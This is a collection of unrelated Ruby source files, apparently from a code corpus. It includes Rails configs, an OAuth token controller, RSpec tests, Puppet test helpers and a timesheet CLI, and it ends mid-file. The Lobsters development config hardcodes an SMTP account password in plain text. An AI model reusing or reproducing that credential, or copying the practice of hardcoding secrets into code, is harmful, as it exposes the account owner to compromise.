parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryListResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Lists all the container registries under the specified resource group.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryListResult] which provide lazy access to pages of the
# response.
#
def list_by_resource_group_as_lazy(resource_group_name, custom_headers:nil)
response = list_by_resource_group_async(resource_group_name, custom_headers:custom_headers).value!
unless response.nil?
page = response.body
page.next_method = Proc.new do |next_page_link|
list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers)
end
page
end
end
#
# Lists all the container registries under the specified subscription.
#
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryListResult] which provide lazy access to pages of the
# response.
#
def list_as_lazy(custom_headers:nil)
response = list_async(custom_headers:custom_headers).value!
unless response.nil?
page = response.body
page.next_method = Proc.new do |next_page_link|
list_next_async(next_page_link, custom_headers:custom_headers)
end
page
end
end
end
end
| 48.841106 | 186 | 0.711979 |
28217d759c982c031ad2f6f534dfdb3d55634e99 | 225 | require_dependency 'pundit'
require 'minikas_payable/config'
module MinikasPayable
class ApplicationController < Config.parent_controller.constantize
include Pundit
protect_from_forgery with: :exception
end
end
| 20.454545 | 68 | 0.817778 |
d5507aae710b4123ba6ae0053ac8fd89e5efa06f | 3,688 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Enable Rack::Cache to put a simple HTTP cache in front of your application
# Add `rack-cache` to your Gemfile before enabling this.
# For large-scale production use, consider using a caching reverse proxy like
# NGINX, varnish or squid.
# config.action_dispatch.rack_cache = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.serve_static_files = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress JavaScripts and CSS.
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# Asset digests allow you to set far-future HTTP expiration dates on all assets,
# yet still be able to expire them through the digest params.
config.assets.digest = true
# `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = :debug
# Prepend all log lines with the following tags.
# config.log_tags = [ :subdomain, :uuid ]
# Use a different logger for distributed setups.
# config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
#-- Paperclip
config.paperclip_defaults = {
storage: 's3',
s3_credentials: {
bucket: ENV['S3_BUCKET_NAME'],
access_key_id: ENV['AWS_ACCESS_KEY_ID'],
secret_access_key: ENV['AWS_SECRET_ACCESS_KEY'],
s3_host_name: ENV['S3_HOST_NAME']
},
hash_secret: ENV['SECRET_KEY_BASE'],
path: '/uploads/images/:class/:id/:style/:hash.:extension'
}
end
| 39.655914 | 102 | 0.752711 |
2172b343c75af0da97ce6b0460373e84bf8eb91e | 1,563 | # frozen_string_literal: true
require 'cuba'
require 'cuba/render'
require 'bigdecimal'
module I18nYamlEditor
# The frontend rendering engine
class Web < Cuba
plugin Cuba::Render
settings[:render][:template_engine] = 'erb'
settings[:render][:views] = File.expand_path(
File.join(File.dirname(__FILE__), '..', '..', 'views')
)
use Rack::ShowExceptions
# Reads global App instance
def app
I18nYamlEditor.app
end
define do
on get, root do
on param('filters') do |filters|
opts = {}
opts[:key] = /#{filters["key"]}/ unless filters['key'].to_s.empty?
opts[:text] = /#{filters["text"]}/i unless filters['text'].to_s.empty?
opts[:complete] = false if filters['incomplete'] == 'on'
opts[:empty] = true if filters['empty'] == 'on'
keys = app.store.filter_keys(opts)
res.write view('translations.html', keys: keys, filters: filters)
end
on default do
categories = app.store.categories.sort
res.write view('categories.html', categories: categories, filters: {})
end
end
on post, 'update' do
translations = req['translations']
app.save_translations(translations) if translations
url = Rack::Utils.build_nested_query(filters: req['filters'])
res.redirect "/?#{url}"
end
on get, 'debug' do
res.write partial('debug.html',
translations: app.store.translations.values)
end
end
end
end
| 26.491525 | 80 | 0.595649 |
bfdf4f2b1eb47a7a29e8d581b73630517187da9a | 1,836 | Lobsters::Application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
config.action_mailer.default_url_options = { :host => 'http://0.0.0.0:3000/' }
config.action_mailer.perform_deliveries = true
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
:address => "smtp.gmail.com",
:port => 587,
:domain => "theuptrade.com",
:authentication => "plain",
:user_name => "[email protected]",
:password => "cubschem22",
:enable_starttls_auto => true
}
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = true
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations
config.active_record.migration_error = :page_load
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
end
Lobsters::Application.config.middleware.use ExceptionNotification::Rack,
:email => {
:email_prefix => "[The UpTrade Exception] ",
:sender_address => %{"Uptrade Exception" <[email protected]>},
:exception_recipients => %w{[email protected]}
}
| 34.641509 | 85 | 0.735294 |
4a3653b1c77a1c7c130db878f8f2f1639856900a | 736 | require 'logger'
class BufferedLogger < ::Logger
require "buffered_logger/errors"
require "buffered_logger/log_device_proxy"
require "buffered_logger/middleware"
require "buffered_logger/version"
def initialize(*)
super
@logdev = LogDeviceProxy.new(@logdev)
end
def end
raise NotStartedError, "not started" unless started?
@logdev.end
nil
end
def flush
@logdev.flush
end
def start(&block)
raise AlreadyStartedError, "already started" if started?
@logdev.start
if block_given?
begin
yield
ensure
self.end
end
else
true
end
end
def started?
@logdev.started?
end
def current_log
@logdev.current_log
end
end
| 15.659574 | 60 | 0.663043 |
1d0fb96d33e9949eb1bc25ec7e1db89e1c633b2c | 2,045 | # This controller is where clients can exchange
# codes and refresh_tokens for access_tokens
class Opro::Oauth::TokenController < OproController
before_action :opro_authenticate_user!, :except => [:create]
skip_before_action :verify_authenticity_token, :only => [:create]
def create
# Find the client application
application = Opro::Oauth::ClientApp.authenticate(params[:client_id], params[:client_secret])
if application.present? && (@auth_grant = auth_grant_for(application, params)).present?
@auth_grant.refresh!
render :create
else
render_error debug_msg(params, application)
end
end
private
def auth_grant_for(application, params)
if params[:code]
Opro::Oauth::AuthGrant.find_by_code_app(params[:code], application)
elsif params[:refresh_token]
Opro::Oauth::AuthGrant.find_by_refresh_app(params[:refresh_token], application)
elsif params[:password].present? || params[:grant_type] == "password"|| params[:grant_type] == "bearer"
return false unless Opro.password_exchange_enabled?
return false unless oauth_valid_password_auth?(params[:client_id], params[:client_secret])
user = ::Opro.find_user_for_all_auths!(self, params)
return false unless user.present?
auth_grant = Opro::Oauth::AuthGrant.find_or_create_by_user_app(user, application)
auth_grant.update_permissions if auth_grant.present?
auth_grant
end
end
def debug_msg(options, app)
msg = "Could not find a user that belongs to this application"
msg << " based on client_id=#{options[:client_id]} and client_secret=#{options[:client_secret]}" if app.blank?
msg << " & has a refresh_token=#{options[:refresh_token]}" if options[:refresh_token]
msg << " & has been granted a code=#{options[:code]}" if options[:code]
msg << " using username and password" if options[:password]
msg
end
def render_error(msg)
render :json => {:error => msg }, :status => :unauthorized
end
end
| 38.584906 | 114 | 0.7022 |
f89bea78c880ff68459ee4ab973888b27c06d3af | 6,392 | require_relative '../spec_helper'
module Cardgame
describe Gameplay do
def setup
@deck = Deck.new
@player = Player.new
@ai = Ai.new
@gameplay = Gameplay.new(:deck => @deck, :player => @player, :ai => @ai)
end
it "can create a new game" do
@gameplay.must_be_instance_of Gameplay
end
describe "#deck" do
it "has a deck" do
@gameplay.deck.must_be_instance_of Deck
end
end
describe "#player" do
it "has a player" do
@gameplay.player.must_be_instance_of Player
end
end
describe "#ai" do
it "has an ai" do
@gameplay.ai.must_be_instance_of Ai
end
end
end
describe "dealt deck" do
def setup
@deck = Deck.new
player = Player.new
ai = Ai.new
@gameplay = Gameplay.new(:deck => @deck, :player => player, :ai => ai)
@gameplay.shuffle
@gameplay.deal
end
it "must deal the deck to the player and ai" do
@gameplay.deck.length.must_equal 0
@gameplay.player.stack.length.must_equal 26
@gameplay.player.stack.each { |card| card.must_be_instance_of Card }
@gameplay.ai.stack.length.must_equal 26
end
it "must not duplicate cards between stacks" do
(@gameplay.ai.stack & @gameplay.player.stack).length.must_equal 0
end
it "must not duplicate cards within stacks" do
(@gameplay.ai.stack | @gameplay.player.stack).length.must_equal 52
end
# TODO refactor this test to use specified cards to ensure each case gets tested
describe "#contest" do
it "must pick the ai when it has the highest card" do
@gameplay.ai.stack.clear << (Card.new(:suit => :clubs, :value => 12))
@gameplay.player.stack.clear << (Card.new(:suit => :hearts, :value => 3))
@gameplay.show_cards
@gameplay.contest[:winner].must_equal @gameplay.ai
end
it "must pick the player when they have the highest card" do
@gameplay.ai.stack.clear << (Card.new(:suit => :clubs, :value => 1))
@gameplay.player.stack.clear << (Card.new(:suit => :hearts, :value => 6))
@gameplay.show_cards
@gameplay.contest[:winner].must_equal @gameplay.player
end
end
describe "#discard" do
it "must give the cards to the ai if it wins" do
@gameplay.ai.stack.clear << (Card.new(:suit => :clubs, :value => 12))
@gameplay.player.stack.clear << (Card.new(:suit => :hearts, :value => 3))
@gameplay.show_cards
result = @gameplay.contest
unless result[:winner] == :war
# TODO get rid of all :war references
@gameplay.discard(result)
end
@gameplay.ai.discard.length.must_equal 2
end
it "must give the cards to the player if they win" do
@gameplay.ai.stack.clear << (Card.new(:suit => :clubs, :value => 4))
@gameplay.player.stack.clear << (Card.new(:suit => :hearts, :value => 9))
@gameplay.show_cards
result = @gameplay.contest
if result[:winner] != :war
@gameplay.discard(result)
end
@gameplay.player.discard.length.must_equal 2
end
end
describe "#war" do
it "must play war when there is a draw" do
output = StringIO.new("")
card_ai_1 = (Card.new(:suit => :clubs, :value => 5))
card_ai_2 = (Card.new(:suit => :spades, :value => 4))
card_ai_3 = (Card.new(:suit => :clubs, :value => 4))
card_player_1 = (Card.new(:suit => :hearts, :value => 4))
card_player_2 = (Card.new(:suit => :diamonds, :value => 4))
card_player_3 = (Card.new(:suit => :hearts, :value => 4))
@gameplay.ai.stack.clear << card_ai_1
@gameplay.ai.stack << card_ai_2
@gameplay.ai.stack << card_ai_3
@gameplay.player.stack.clear << card_player_1
@gameplay.player.stack << card_player_2
@gameplay.player.stack << card_player_3
@gameplay.show_cards
@gameplay.war?(output)
result = @gameplay.contest
result[:ai_cards].must_be_instance_of Array
result[:ai_cards].last.must_be_instance_of Card
[card_ai_1, card_ai_2, card_ai_3].each { |card| result[:ai_cards].must_include card }
[card_player_1, card_player_2, card_player_3].each { |card| result[:player_cards].must_include card }
end
end
describe "#rearm" do
it "must move discard pile to stack when stack is empty" do
@gameplay.ai.stack.clear << (Card.new(:suit => :clubs, :value => 12))
@gameplay.ai.stack << (Card.new(:suit => :hearts, :value => 3))
@gameplay.player.stack.clear << (Card.new(:suit => :clubs, :value => 4))
@gameplay.player.stack << (Card.new(:suit => :hearts, :value => 11))
@gameplay.ai.stack.length.must_equal 2
2.times do
@gameplay.show_cards
@gameplay.discard(@gameplay.contest)
end
@gameplay.ai.stack.length.must_equal 0
@gameplay.player.stack.length.must_equal 0
@gameplay.ai.discard.length.must_equal 2
@gameplay.player.discard.length.must_equal 2
@gameplay.rearm?
@gameplay.ai.stack.length.must_equal 2, "ai stack has some cards now"
@gameplay.player.stack.length.must_equal 2, "player stack has some cards now"
@gameplay.ai.stack.last.must_be_instance_of Card
@gameplay.player.stack.last.must_be_instance_of Card
@gameplay.ai.discard.length.must_equal 0
@gameplay.player.discard.length.must_equal 0
end
end
describe "#game_over?" do
def setup
@deck = Deck.new
player = Player.new
ai = Ai.new
@gameplay = Gameplay.new(:deck => @deck, :player => player, :ai => ai)
@gameplay.ai.stack.clear << (Card.new(:suit => :clubs, :value => 2))
@gameplay.ai.stack << (Card.new(:suit => :hearts, :value => 1))
@gameplay.player.stack.clear << (Card.new(:suit => :clubs, :value => 12))
@gameplay.player.stack << (Card.new(:suit => :hearts, :value => 11))
end
it "must end the game when a participant is out of cards" do
2.times do
@gameplay.game_over?
@gameplay.show_cards
@gameplay.discard(@gameplay.contest)
end
@gameplay.game_over?
@gameplay.game_over?[:over?].must_equal true
end
end
end
end | 34.365591 | 109 | 0.608573 |
33330dd30ca9ed3dfb000861a918a3636d676cdd | 831 | require "rails_helper"
RSpec::Matchers.define :facilities do |facilities|
match { |actual| actual.map(&:id) == facilities.map(&:id) }
end
RSpec.describe MyFacilities::FacilityPerformanceController, type: :controller do
let(:facility_group) { create(:facility_group) }
let!(:facilities) { create_list(:facility, 3, facility_group: facility_group) }
let(:supervisor) { create(:admin, :manager, :with_access, resource: facility_group) }
render_views
before do
sign_in(supervisor.email_authentication)
Flipper.enable(:ranked_facilities)
end
after do
Flipper.disable(:ranked_facilities)
end
describe "GET #show" do
it "returns a success response" do
create(:facility, facility_group: facility_group)
get :show, params: {}
expect(response).to be_successful
end
end
end
| 25.181818 | 87 | 0.722022 |
9189e31435d666957128ca2bc79f0c8a9554c588 | 165 | module Fog
module Support
class StormOnDemand
class Alert < Fog::Model
attribute :message
attribute :subject
end
end
end
end
| 15 | 30 | 0.618182 |
bf2ceff55a51c01546366bdbdc8c6fb52b6289da | 7,336 | module Puppet::Test
# This class is intended to provide an API to be used by external projects
# when they are running tests that depend on puppet core. This should
# allow us to vary the implementation details of managing puppet's state
# for testing, from one version of puppet to the next--without forcing
# the external projects to do any of that state management or be aware of
# the implementation details.
#
# For now, this consists of a few very simple signatures. The plan is
# that it should be the responsibility of the puppetlabs_spec_helper
# to broker between external projects and this API; thus, if any
# hacks are required (e.g. to determine whether or not a particular)
# version of puppet supports this API, those hacks will be consolidated in
# one place and won't need to be duplicated in every external project.
#
# This should also alleviate the anti-pattern that we've been following,
# wherein each external project starts off with a copy of puppet core's
# test_helper.rb and is exposed to risk of that code getting out of
# sync with core.
#
# Since this class will be "library code" that ships with puppet, it does
# not use API from any existing test framework such as rspec. This should
# theoretically allow it to be used with other unit test frameworks in the
# future, if desired.
#
# Note that in the future this API could potentially be expanded to handle
# other features such as "around_test", but we didn't see a compelling
# reason to deal with that right now.
class TestHelper
# Call this method once, when beginning a test run--prior to running
# any individual tests.
# @return nil
def self.before_all_tests()
end
# Call this method once, at the end of a test run, when no more tests
# will be run.
# @return nil
def self.after_all_tests()
end
# Call this method once per test, prior to execution of each invididual test.
# @return nil
def self.before_each_test()
# We need to preserve the current state of all our indirection cache and
# terminus classes. This is pretty important, because changes to these
# are global and lead to order dependencies in our testing.
#
# We go direct to the implementation because there is no safe, sane public
# API to manage restoration of these to their default values. This
# should, once the value is proved, be moved to a standard API on the
# indirector.
#
# To make things worse, a number of the tests stub parts of the
# indirector. These stubs have very specific expectations that what
# little of the public API we could use is, well, likely to explode
# randomly in some tests. So, direct access. --daniel 2011-08-30
$saved_indirection_state = {}
indirections = Puppet::Indirector::Indirection.send(:class_variable_get, :@@indirections)
indirections.each do |indirector|
$saved_indirection_state[indirector.name] = {
:@terminus_class => indirector.instance_variable_get(:@terminus_class),
:@cache_class => indirector.instance_variable_get(:@cache_class)
}
end
# The process environment is a shared, persistent resource.
$old_env = ENV.to_hash
# So is the load_path
$old_load_path = $LOAD_PATH.dup
initialize_settings_before_each()
Puppet::Node::Environment.clear
Puppet::Parser::Functions.reset
Puppet.clear_deprecation_warnings
end
# Call this method once per test, after execution of each individual test.
# @return nil
def self.after_each_test()
Puppet.settings.send(:clear_everything_for_tests)
Puppet::Util::Storage.clear
Puppet::Util::ExecutionStub.reset
Puppet.clear_deprecation_warnings
# uncommenting and manipulating this can be useful when tracking down calls to deprecated code
#Puppet.log_deprecations_to_file("deprecations.txt", /^Puppet::Util.exec/)
# Restore the indirector configuration. See before hook.
indirections = Puppet::Indirector::Indirection.send(:class_variable_get, :@@indirections)
indirections.each do |indirector|
$saved_indirection_state.fetch(indirector.name, {}).each do |variable, value|
indirector.instance_variable_set(variable, value)
end
end
$saved_indirection_state = nil
# Restore the global process environment. Can't just assign because this
# is a magic variable, sadly, and doesn't do that™. It is sufficiently
# faster to use the compare-then-set model to avoid excessive work that it
# justifies the complexity. --daniel 2012-03-15
unless ENV.to_hash == $old_env
ENV.clear
$old_env.each {|k, v| ENV[k] = v }
end
# Some tests can cause us to connect, in which case the lingering
# connection is a resource that can cause unexpected failure in later
# tests, as well as sharing state accidentally.
# We're testing if ActiveRecord::Base is defined because some test cases
# may stub Puppet.features.rails? which is how we should normally
# introspect for this functionality.
ActiveRecord::Base.remove_connection if defined?(ActiveRecord::Base)
# Restore the load_path late, to avoid messing with stubs from the test.
$LOAD_PATH.clear
$old_load_path.each {|x| $LOAD_PATH << x }
end
#########################################################################################
# PRIVATE METHODS (not part of the public TestHelper API--do not call these from outside
# of this class!)
#########################################################################################
def self.app_defaults_for_tests()
{
:run_mode => :user,
:logdir => "/dev/null",
:confdir => "/dev/null",
:vardir => "/dev/null",
:rundir => "/dev/null",
:hiera_config => "/dev/null",
}
end
private_class_method :app_defaults_for_tests
def self.initialize_settings_before_each()
# Initialize "app defaults" settings to a good set of test values
app_defaults_for_tests.each do |key, value|
Puppet.settings.set_value(key, value, :application_defaults)
end
# Avoid opening ports to the outside world
Puppet.settings[:bindaddress] = "127.0.0.1"
# We don't want to depend upon the reported domain name of the
# machine running the tests, nor upon the DNS setup of that
# domain.
Puppet.settings[:use_srv_records] = false
# Longer keys are secure, but they sure make for some slow testing - both
# in terms of generating keys, and in terms of anything the next step down
# the line doing validation or whatever. Most tests don't care how long
# or secure it is, just that it exists, so these are better and faster
# defaults, in testing only.
#
# I would make these even shorter, but OpenSSL doesn't support anything
# below 512 bits. Sad, really, because a 0 bit key would be just fine.
Puppet[:req_bits] = 512
Puppet[:keylength] = 512
end
private_class_method :initialize_settings_before_each
end
end
| 41.92 | 100 | 0.67012 |
014b5033dd9f846380348180349747c686995621 | 683 | # Fact: hostname
#
# Purpose: Return the system's short hostname.
#
# Resolution:
# On all system bar Darwin, parses the output of the "hostname" system command
# to everything before the first period.
# On Darwin, uses the system configuration util to get the LocalHostName
# variable.
#
# Caveats:
#
Facter.add(:hostname) do
setcode do
hostname = nil
if name = Facter::Core::Execution.execute('hostname')
if name =~ /(.*?)\./
hostname = $1
else
hostname = name
end
end
hostname
end
end
Facter.add(:hostname) do
confine :kernel => :darwin, :kernelrelease => "R7"
setcode '/usr/sbin/scutil --get LocalHostName'
end
| 21.34375 | 80 | 0.654466 |
ac3404feff22487c0761031fce2a886f5dd33599 | 4,675 | require 'easy_app_helper'
require 'highline'
module Dovico
class App
include EasyAppHelper
NAME = 'Dovico Simple Client'
DESCRIPTION = <<EOL
Simple client for Dovico TimeSheet web application.
Please refer to the README.md page to setup your client.
WARNING: --auto and --simulate options are not effective.
EOL
def initialize
config.config_file_base_name = 'dovico'
config.describes_application app_name: NAME,
app_version: Dovico::VERSION,
app_description: DESCRIPTION
add_script_options
ApiClient.initialize!(config["client_token"], config["user_token"])
end
def add_script_options
config.add_command_line_section('Display informations') do |slop|
slop.on :myself, 'Display info on yourself', argument: false
slop.on :tasks, 'Display info on tasks', argument: false
end
config.add_command_line_section('Fill the timesheets') do |slop|
slop.on :fill, 'Fill the timesheet', argument: false
end
config.add_command_line_section('Show the timesheets') do |slop|
slop.on :show, 'Show the filled timesheets', argument: false
end
config.add_command_line_section('Submit the timesheets') do |slop|
slop.on :submit, 'Submit timesheets', argument: false
end
config.add_command_line_section('Clear the timesheets') do |slop|
slop.on :clear, 'Clear the timesheets', argument: false
end
config.add_command_line_section('Date options (required for --show, --fill, --submit and --clear)') do |slop|
slop.on :current_week, 'Current week', argument: false
slop.on :today, 'Current day', argument: false
slop.on :day, 'Specific day', argument: true
slop.on :start, 'Specific start day', argument: true
slop.on :end, 'Specific end day', argument: true
slop.on :week, 'Specific "commercial" week. See https://www.epochconverter.com/weeks/', argument: true, as: Integer
slop.on :year, '[optional] Specifiy year (for --week option), default current year', argument: true, as: Integer
end
end
def run
settings = ConfigParser.new(config)
start_date, end_date = settings.date_options
if settings.needs_help?
display_help
exit 0
end
if config[:myself]
display_myself
end
if config[:tasks]
display_tasks
end
if config[:clear]
clear_time_entries(start_date, end_date)
end
if config[:show]
display_time_entries(start_date, end_date)
end
if config[:fill]
time_entry_generator = TimeEntryGenerator.new(
assignments: config["assignments"],
employee_id: myself.id,
)
time_entries = time_entry_generator.generate(start_date, end_date)
if time_entries.count > 0
saved_time_entries = TimeEntry.batch_create!(time_entries)
puts "#{saved_time_entries["TimeEntries"].count} Entries created between #{start_date} and #{end_date}"
else
puts "No entries to be created between #{start_date} and #{end_date}"
end
end
if config[:submit]
submitted_time_entries = TimeEntry.submit!(myself.id, start_date, end_date)
puts "#{submitted_time_entries["TimeEntries"].count} Entries submitted between #{start_date} and #{end_date}"
end
end
private
def myself
@myself ||= Employee.myself
end
def display_myself
puts "Informations about yourself"
puts myself
puts ""
end
def display_tasks
puts "== List of available projects =="
puts Project.format_all
puts ""
end
def display_time_entries(start_date, end_date)
puts "== List of Time Entries between #{start_date} and #{end_date} =="
formatter = TimeEntryFormatter.new(Project.all)
time_entries = TimeEntry.search(start_date, end_date)
puts formatter.format_entries(time_entries)
puts ""
end
def clear_time_entries(start_date, end_date)
time_entries = TimeEntry.search(start_date, end_date)
if highline.agree("• #{time_entries.count} Time Entries to be deleted. Are you sure? (yes/no)")
time_entries.each do |time_entry|
time_entry.delete!
end
puts "✓ #{time_entries.count} Time Entries deleted"
end
end
def display_help
puts config.command_line_help
end
def highline
@highline ||= HighLine.new
end
end
end
| 32.020548 | 132 | 0.64107 |
610c5326241432e2b453f6eaf50a9592e6835df5 | 2,355 | require 'web_logs'
require 'spec_helper'
describe WebLogs do
subject(:logs) { described_class.new(printer) }
let(:printer) { double :printer }
context 'Empty file uploaded.' do
before do
subject.create_sites_hash('./spec/empty_log.log')
end
describe '#order_sites' do
it 'Warns user if trying to order an empty hash' do
expect { subject.order_sites }.to raise_error 'Log file empty. Try creating new sites hash.'
end
end
describe '#order_ips' do
it 'Warns user if trying to order an empty hash' do
expect { subject.order_ips }.to raise_error 'Log file empty. Try creating new sites hash.'
end
end
end
context 'Incorrect file path provided.' do
it 'Warns user if incorrect file path.' do
expect { subject.create_sites_hash('./spec/fake_log.log') }.to raise_error 'File does not exist.'
end
end
context 'Working file uploaded.' do
before do
subject.create_sites_hash('./spec/test_log.log')
end
describe '#create_sites_hash' do
it 'Takes a log of files and saves them into a hash.' do
expect(subject.sitelist).to eq ({ 'contact' => ['184'], 'home' => %w[184 235 185], '/about/2' => %w[444 444], 'page1' => %w[929 722 646 126], '/index' => %w[444 445 446 447], '/about' => ['061'] })
end
end
describe '#order_sites' do
it 'Orders sites by number of visits.' do
expect(subject.order_sites).to eq([['/index', %w[444 445 446 447]], ['page1', %w[929 722 646 126]], ['home', %w[184 235 185]], ['/about/2', %w[444 444]], ['/about', ['061']], ['contact', ['184']]])
end
end
describe '#order_ips' do
it 'Orders sites by number of visitors.' do
expect(subject.order_ips).to eq([['/index', %w[444 445 446 447]], ['page1', %w[929 722 646 126]], ['home', %w[184 235 185]], ['/about', ['061']], ['/about/2', %w[444 444]], ['contact', ['184']]])
end
end
describe '#site_count' do
it 'calls site_count on printer' do
expect(printer).to receive(:site_count).with(subject.ordered_sites)
subject.site_count
end
end
describe '#ips_count' do
it 'calls unique_visitor_count on printer' do
expect(printer).to receive(:unique_visitor_count).with(subject.ordered_ips)
subject.ips_count
end
end
end
end
| 33.642857 | 205 | 0.625478 |
33435cd7ff4f5260d03f0f226c7004cda359fea5 | 248 | class Story < ActiveRecord::Base
has_many :story_attachment, dependent: :destroy
accepts_nested_attributes_for :story_attachment
validates :content, presence: true
has_many :story_outcomes
has_many :outcomes, through: :story_outcomes
end
| 31 | 49 | 0.810484 |
5d773568b6d7cf0cb35164cbdb3c0e4a1bcf727d | 496 | require 'pry'
require 'rubygems'
require 'active_support/inflector'
require "location_app/version"
# API Operations
require 'api_operations/list'
require 'api_operations/request'
# Resources
require 'location_app/api_resource'
require 'location_app/city'
require 'location_app/region'
require 'location_app/country'
module LocationApp
#@api_base = 'http://location-service.90secondsdev.com/api'
@api_base = 'http://52.39.222.56/api'
class << self
attr_accessor :api_base
end
end
| 20.666667 | 61 | 0.772177 |
4aa1dbb828437ac4ccb5ec82ed1e72cec4d768e2 | 1,397 | module Straight
module ExchangeRate
class AverageRateAdapter < BtcAdapter
# Takes exchange rate adapters instances or classes as arguments
def self.instance(*adapters)
instance = super()
instance.instance_variable_set(:@adapters, adapters.map { |adapter| adapter.respond_to?(:instance) ? adapter.instance : adapter })
instance
end
def fetch_rates!
failed_fetches = 0
@adapters.each do |adapter|
begin
adapter.fetch_rates!
rescue => e
failed_fetches += 1
raise e if failed_fetches == @adapters.size
end
end
end
def rate_for(currency_code)
rates = []
@adapters.each do |adapter|
begin
rates << adapter.rate_for(currency_code)
rescue CurrencyNotSupported
rates << nil
end
end
unless rates.select(&:nil?).size == @adapters.size
rates.compact!
rates.inject {|sum, rate| sum + rate} / rates.size
else
raise CurrencyNotSupported
end
end
def get_rate_value_from_hash(rates_hash, *keys)
raise "This method is not supposed to be used in #{self.class}."
end
def rate_to_f(rate)
raise "This method is not supposed to be used in #{self.class}."
end
end
end
end
| 25.4 | 138 | 0.584825 |
b9d36a0d9c0e1ebd49a5683664fd5d53273cbe5d | 3,398 | # ==========================================
# CMock Project - Automatic Mock Generation for C
# Copyright (c) 2007 Mike Karlesky, Mark VanderVoord, Greg Williams
# [Released under MIT License. Please refer to license.txt for details]
# ==========================================
class CMockGeneratorPluginIgnore
attr_reader :priority
attr_reader :config, :utils
def initialize(config, utils)
@config = config
if (@config.ignore == :args_and_calls)
alias :mock_implementation_precheck :mock_implementation_for_ignores
alias :mock_implementation :nothing
alias :mock_verify :mock_conditionally_verify_counts
else
alias :mock_implementation :mock_implementation_for_ignores
alias :mock_implementation_precheck :nothing
alias :mock_verify :nothing
end
@utils = utils
@priority = 2
end
def instance_structure(function)
if (function[:return][:void?])
" int #{function[:name]}_IgnoreBool;\n"
else
" int #{function[:name]}_IgnoreBool;\n #{function[:return][:type]} #{function[:name]}_FinalReturn;\n"
end
end
def mock_function_declarations(function)
if (function[:return][:void?])
return "#define #{function[:name]}_Ignore() #{function[:name]}_CMockIgnore(__LINE__)\n" +
"void #{function[:name]}_CMockIgnore(UNITY_LINE_TYPE cmock_line);\n"
else
return "#define #{function[:name]}_IgnoreAndReturn(cmock_retval) #{function[:name]}_CMockIgnoreAndReturn(__LINE__, cmock_retval)\n" +
"void #{function[:name]}_CMockIgnoreAndReturn(UNITY_LINE_TYPE cmock_line, #{function[:return][:str]});\n"
end
end
def mock_implementation_for_ignores(function)
lines = " if (Mock.#{function[:name]}_IgnoreBool)\n {\n"
if (function[:return][:void?])
lines << " return;\n }\n"
else
retval = function[:return].merge( { :name => "cmock_call_instance->ReturnVal"} )
lines << " if (cmock_call_instance == NULL)\n return Mock.#{function[:name]}_FinalReturn;\n"
lines << " " + @utils.code_assign_argument_quickly("Mock.#{function[:name]}_FinalReturn", retval) unless (retval[:void?])
lines << " return cmock_call_instance->ReturnVal;\n }\n"
end
lines
end
def mock_interfaces(function)
lines = ""
if (function[:return][:void?])
lines << "void #{function[:name]}_CMockIgnore(UNITY_LINE_TYPE cmock_line)\n{\n"
else
lines << "void #{function[:name]}_CMockIgnoreAndReturn(UNITY_LINE_TYPE cmock_line, #{function[:return][:str]})\n{\n"
end
if (@config.ignore == :args_only)
lines << @utils.code_add_base_expectation(function[:name], true)
elsif (!function[:return][:void?])
lines << @utils.code_add_base_expectation(function[:name], false)
end
unless (function[:return][:void?])
lines << " cmock_call_instance->ReturnVal = cmock_to_return;\n"
end
lines << " Mock.#{function[:name]}_IgnoreBool = (int)1;\n"
lines << "}\n\n"
end
def mock_conditionally_verify_counts(function)
func_name = function[:name]
